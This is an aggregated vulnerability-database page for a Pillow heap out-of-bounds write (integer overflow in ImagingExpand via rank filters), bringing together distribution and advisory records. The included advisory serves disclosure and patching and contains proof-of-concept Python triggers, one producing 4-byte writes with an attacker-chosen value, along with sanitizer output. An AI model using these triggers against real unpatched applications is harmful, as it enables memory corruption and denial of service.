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CVE-2026-59197 (GCVE-0-2026-59197)
Vulnerability from cvelistv5 – Published: 2026-07-14 16:25 – Updated: 2026-07-21 18:50| URL | Tags |
|---|---|
| https://github.com/python-pillow/Pillow/security/… | x_refsource_CONFIRM |
| https://github.com/python-pillow/Pillow/pull/9695 | x_refsource_MISC |
| https://github.com/python-pillow/Pillow/commit/cc… | x_refsource_MISC |
| https://github.com/python-pillow/Pillow/releases/… | x_refsource_MISC |
| Vendor | Product | Version | |
|---|---|---|---|
| python-pillow | Pillow |
Affected:
< 12.3.0
|
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ALSA-2026:48021
Vulnerability from osv_almalinux – Published: 2026-07-29 00:00 – Updated: 2026-07-31 12:25 – Source websitePython is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.
Security Fix(es):
- Pillow: Pillow: Native heap out-of-bounds write (CVE-2026-59197)
- Pillow: Pillow: Memory disclosure or denial of service via crafted McIdas AREA image (CVE-2026-54058)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
{
"affected": [
{
"package": {
"ecosystem": "AlmaLinux:8",
"name": "python3-pillow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.1.1-23.el8_10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "AlmaLinux:8",
"name": "python3-pillow-devel"
},
"ranges": [
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}
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},
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"name": "python3-pillow-doc"
},
"ranges": [
{
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"introduced": "0"
},
{
"fixed": "5.1.1-23.el8_10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
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"ecosystem": "AlmaLinux:8",
"name": "python3-pillow-tk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.1.1-23.el8_10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"details": "Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems. \n\nSecurity Fix(es): \n\n * Pillow: Pillow: Native heap out-of-bounds write (CVE-2026-59197)\n * Pillow: Pillow: Memory disclosure or denial of service via crafted McIdas AREA image (CVE-2026-54058)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n",
"id": "ALSA-2026:48021",
"modified": "2026-07-31T12:25:39Z",
"published": "2026-07-29T00:00:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://access.redhat.com/errata/RHSA-2026:48021"
},
{
"type": "REPORT",
"url": "https://access.redhat.com/security/cve/CVE-2026-54058"
},
{
"type": "REPORT",
"url": "https://access.redhat.com/security/cve/CVE-2026-59197"
},
{
"type": "REPORT",
"url": "https://bugzilla.redhat.com/2500043"
},
{
"type": "REPORT",
"url": "https://bugzilla.redhat.com/2500057"
},
{
"type": "ADVISORY",
"url": "https://errata.almalinux.org/8/ALSA-2026-48021.html"
}
],
"related": [
"CVE-2026-59197",
"CVE-2026-54058"
],
"summary": "Important: python-pillow security update"
}
BDU:2026-11288 (CVE-2026-59197)
Vulnerability from fstec – Published: 2026-08-10 – Updated: 2026-08-10 – View on bdu.fstec.ru Exploit publicly available Fixed{
"CVSS 2.0": "AV:N/AC:L/Au:N/C:N/I:P/A:C",
"CVSS 3.0": "AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"CVSS 4.0": null,
"remediation_\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": null,
"remediation_\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435": null,
"\u0412\u0435\u043d\u0434\u043e\u0440 \u041f\u041e": "Uploadcare, LLC",
"\u0412\u0435\u0440\u0441\u0438\u044f \u041f\u041e": "\u043e\u0442 12.2.0 \u0434\u043e 12.3.0 (Pillow)",
"\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e": "\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\nhttps://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1\t\t\nhttps://github.com/python-pillow/Pillow/pull/9695\t\nhttps://github.com/python-pillow/Pillow/releases/tag/12.3.0\t\t\nhttps://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr",
"\u0414\u0430\u0442\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f": "14.07.2026",
"\u0414\u0430\u0442\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f": "10.08.2026",
"\u0414\u0430\u0442\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438": "10.08.2026",
"\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": "BDU:2026-11288",
"\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "CVE-2026-59197",
"\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430",
"\u041a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u0434\u0430",
"\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u041f\u041e": "Pillow",
"\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u041e\u0421 \u0438 \u0442\u0438\u043f \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b": null,
"\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 ImageFilter.RankFilter.filter \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u043c\u0438 Pillow, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438",
"\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430": "\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435",
"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "\u0426\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0446\u0438\u043a\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0441\u0434\u0432\u0438\u0433 (CWE-190), \u0417\u0430\u043f\u0438\u0441\u044c \u0437\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430 (CWE-787)",
"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 ImageFilter.RankFilter.filter \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u043c\u0438 Pillow \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0437\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438",
"\u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": null,
"\u041f\u0440\u043e\u0447\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f": null,
"\u0421\u0432\u044f\u0437\u044c \u0441 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c\u0438 \u0418\u0411": "\u0414\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0442\u0441\u044f",
"\u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430",
"\u0421\u043f\u043e\u0441\u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f": "\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
"\u0421\u043f\u043e\u0441\u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438": "\u041c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u0445",
"\u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438": "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1\t\t\nhttps://github.com/python-pillow/Pillow/pull/9695\t\nhttps://github.com/python-pillow/Pillow/releases/tag/12.3.0\t\t\nhttps://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr",
"\u0421\u0442\u0430\u0442\u0443\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c",
"\u0422\u0438\u043f \u041f\u041e": "\u041f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u043e\u0435 \u041f\u041e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c",
"\u0422\u0438\u043f \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "CWE-190, CWE-787",
"\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 2.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 8,5)\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 3.1 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 8,2)"
}
bit-pillow-2026-59197
Vulnerability from bitnami_vulndb
Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.
{
"affected": [
{
"package": {
"ecosystem": "Bitnami",
"name": "pillow",
"purl": "pkg:bitnami/pillow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "12.3.0"
}
],
"type": "SEMVER"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
],
"aliases": [
"CVE-2026-59197"
],
"database_specific": {
"cpes": [
"cpe:2.3:a:python:pillow:*:*:*:*:*:python:*:*"
],
"severity": "High"
},
"details": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow\u0027s public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.",
"id": "BIT-pillow-2026-59197",
"modified": "2026-09-08T08:34:36.952Z",
"published": "2026-07-19T23:50:18.914Z",
"references": [
{
"type": "FIX",
"url": "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1"
},
{
"type": "FIX",
"url": "https://github.com/python-pillow/Pillow/pull/9695"
},
{
"type": "ARTICLE",
"url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
},
{
"type": "ADVISORY",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59197"
}
],
"schema_version": "1.6.2",
"summary": "Pillow: Heap out-of-bounds write in Pillow `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`"
}
BREW-AIDER-CVE-2026-59197 (GHSA-XJ96-63GP-2GMR)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:35 – Updated: 2026-09-09 23:40 – Source websiteSummary
Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size.
Minimal public API trigger:
from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))
ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2)
before rank-filter size validation. With size = 4294967295, the
expansion margin is 2147483647 (INT_MAX). ImagingExpand() then computes
the output dimensions with unchecked signed int arithmetic. On tested builds,
this wraps to a tiny output image and the border-expansion loop writes past the
allocation.
This is reachable through documented public classes (RankFilter,
MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom
Python object is needed.
Details
Current src/PIL/ImageFilter.py:
class RankFilter(Filter):
def filter(self, image):
if image.mode == "P":
msg = "cannot filter palette images"
raise ValueError(msg)
image = image.expand(self.size // 2, self.size // 2)
return image.rankfilter(self.size, self.rank)
The expand() call is made before image.rankfilter(...).
Current src/libImaging/Filter.c:ImagingExpand() does not check output-size
overflow:
if (xmargin < 0 && ymargin < 0) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
imOut = ImagingNewDirty(
imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin
);
For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size
wraps to 1x1 on tested builds. The following loop still uses the huge margin:
for (x = 0; x < xmargin; x++) {
imOut->image[yout][x] = imIn->image[yin][0];
}
src/libImaging/RankFilter.c does contain checks that would reject this size:
if (!(size & 1)) {
return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
return (Imaging)ImagingError_ValueError("filter size too large");
}
But those checks are reached only after RankFilter.filter() has already
called image.expand(...).
Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB
stores. The repeated value written OOB is copied from the source image border
pixel, so attacker-supplied image bytes can influence it. This is a sequential
overwrite, not an arbitrary-address write.
PoC
Minimal ASAN crash PoC:
from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))
Observed on local Pillow 12.3.0.dev0 ASAN target:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation
4-byte write variant with source pixel loaded from normal image bytes:
from io import BytesIO
from PIL import Image, ImageFilter
SIZE = 4294967295
PIXEL = 0x41424344
src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")
im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL
im.filter(ImageFilter.MedianFilter(SIZE))
Observed ASAN signature:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation
Version checks:
Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected
Impact
It is a heap out-of-bounds write in Pillow's native C extension, reachable through public image-filter classes.
Applications are impacted if an untrusted user can control the rank-filter
size/configuration passed to Pillow. If the image is also attacker-supplied, the
source pixel value written out of bounds can be attacker-influenced, including
4-byte values for mode "I" images.
Possible fix
Validate the rank-filter size before calling image.expand(...), and harden
ImagingExpand() against invalid margins and overflow:
if (xmargin < 0 || ymargin < 0) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
ymargin > (INT_MAX - imIn->ysize) / 2) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "pillow",
"resource_purl": "pkg:pypi/pillow@12.1.1",
"upstream_fixed_in": "12.3.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "aider",
"purl": "pkg:brew/aider"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pillow@12.1.1",
"name": "pillow",
"resource": "pillow",
"strategy": "registry",
"subject_version": "12.1.1"
}
]
},
"details": "### Summary\n\nPillow\u0027s public rank-filter API can trigger a native heap out-of-bounds write\nwhen given a very large odd filter size.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\n`ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)`\nbefore rank-filter size validation. With `size = 4294967295`, the\nexpansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes\nthe output dimensions with unchecked signed `int` arithmetic. On tested builds,\nthis wraps to a tiny output image and the border-expansion loop writes past the\nallocation.\n\nThis is reachable through documented public classes (`RankFilter`,\n`MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom\nPython object is needed.\n\n### Details\n\nCurrent `src/PIL/ImageFilter.py`:\n\n```python\nclass RankFilter(Filter):\n def filter(self, image):\n if image.mode == \"P\":\n msg = \"cannot filter palette images\"\n raise ValueError(msg)\n image = image.expand(self.size // 2, self.size // 2)\n return image.rankfilter(self.size, self.rank)\n```\n\nThe `expand()` call is made before `image.rankfilter(...)`.\n\nCurrent `src/libImaging/Filter.c:ImagingExpand()` does not check output-size\noverflow:\n\n```c\nif (xmargin \u003c 0 \u0026\u0026 ymargin \u003c 0) {\n return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n\nimOut = ImagingNewDirty(\n imIn-\u003emode, imIn-\u003exsize + 2 * xmargin, imIn-\u003eysize + 2 * ymargin\n);\n```\n\nFor a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size\nwraps to `1x1` on tested builds. The following loop still uses the huge margin:\n\n```c\nfor (x = 0; x \u003c xmargin; x++) {\n imOut-\u003eimage[yout][x] = imIn-\u003eimage[yin][0];\n}\n```\n\n`src/libImaging/RankFilter.c` does contain checks that would reject this size:\n\n```c\nif (!(size \u0026 1)) {\n return (Imaging)ImagingError_ValueError(\"bad filter size\");\n}\nif (size \u003e INT_MAX / size || size \u003e INT_MAX / (size * (int)sizeof(FLOAT32))) {\n return (Imaging)ImagingError_ValueError(\"filter size too large\");\n}\n```\n\nBut those checks are reached only after `RankFilter.filter()` has already\ncalled `image.expand(...)`.\n\nMode `\"L\"` produces 1-byte OOB stores. Modes `\"I\"` and `\"F\"` produce 4-byte OOB\nstores. The repeated value written OOB is copied from the source image border\npixel, so attacker-supplied image bytes can influence it. This is a sequential\noverwrite, not an arbitrary-address write.\n\n### PoC\n\nMinimal ASAN crash PoC:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 1\nImagingExpand /out/src/src/libImaging/Filter.c:99\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 1-byte allocation\n```\n\n4-byte write variant with source pixel loaded from normal image bytes:\n\n```python\nfrom io import BytesIO\nfrom PIL import Image, ImageFilter\n\nSIZE = 4294967295\nPIXEL = 0x41424344\n\nsrc = BytesIO()\nImage.new(\"I\", (3, 3), PIXEL).save(src, format=\"TIFF\")\n\nim = Image.open(BytesIO(src.getvalue()))\nim.load()\nassert im.mode == \"I\"\nassert im.getpixel((0, 0)) == PIXEL\n\nim.filter(ImageFilter.MedianFilter(SIZE))\n```\n\nObserved ASAN signature:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 4\nImagingExpand /out/src/src/libImaging/Filter.c:101\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 4-byte allocation\n```\n\nVersion checks:\n\n```text\nPillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public\n validation order and unchecked ImagingExpand arithmetic\nupstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected\n```\n\n### Impact\n\nIt is a heap out-of-bounds write in Pillow\u0027s native C extension, reachable\nthrough public image-filter classes.\n\nApplications are impacted if an untrusted user can control the rank-filter\nsize/configuration passed to Pillow. If the image is also attacker-supplied, the\nsource pixel value written out of bounds can be attacker-influenced, including\n4-byte values for mode `\"I\"` images.\n\n\n## Possible fix\n\nValidate the rank-filter size before calling `image.expand(...)`, and harden\n`ImagingExpand()` against invalid margins and overflow:\n\n```c\nif (xmargin \u003c 0 || ymargin \u003c 0) {\n return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\nif (xmargin \u003e (INT_MAX - imIn-\u003exsize) / 2 ||\n ymargin \u003e (INT_MAX - imIn-\u003eysize) / 2) {\n return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n```",
"id": "BREW-aider-CVE-2026-59197",
"modified": "2026-09-09T23:40:56Z",
"published": "2026-08-13T16:35:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59197"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/pull/9695"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`",
"upstream": [
"GHSA-xj96-63gp-2gmr",
"BIT-pillow-2026-59197",
"CVE-2026-59197",
"PYSEC-2026-3454"
]
}
BREW-PILLOW-CVE-2026-59197 (CVE-2026-59197)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:28 – Updated: 2026-09-10 20:25 – Source websitePillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"upstream_fixed_in": "12.3.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "pillow",
"purl": "pkg:brew/pillow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "12.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "git",
"upstream_evidence": [
{
"ecosystem": "GIT",
"key": "https://github.com/python-pillow/pillow",
"name": "https://github.com/python-pillow/pillow",
"strategy": "git",
"subject_version": "12.3.0"
},
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pillow@12.3.0",
"name": "pillow",
"strategy": "registry",
"subject_version": "12.3.0"
},
{
"ecosystem": "Debian",
"key": "Debian/pillow",
"name": "pillow",
"strategy": "distro"
},
{
"ecosystem": "GIT",
"key": "upstream:https://github.com/python-pillow/pillow",
"name": "https://github.com/python-pillow/pillow",
"strategy": "distro",
"subject_version": "12.3.0"
},
{
"ecosystem": "PyPI",
"key": "upstream:pkg:pypi/pillow@12.3.0",
"name": "pillow",
"strategy": "distro",
"subject_version": "12.3.0"
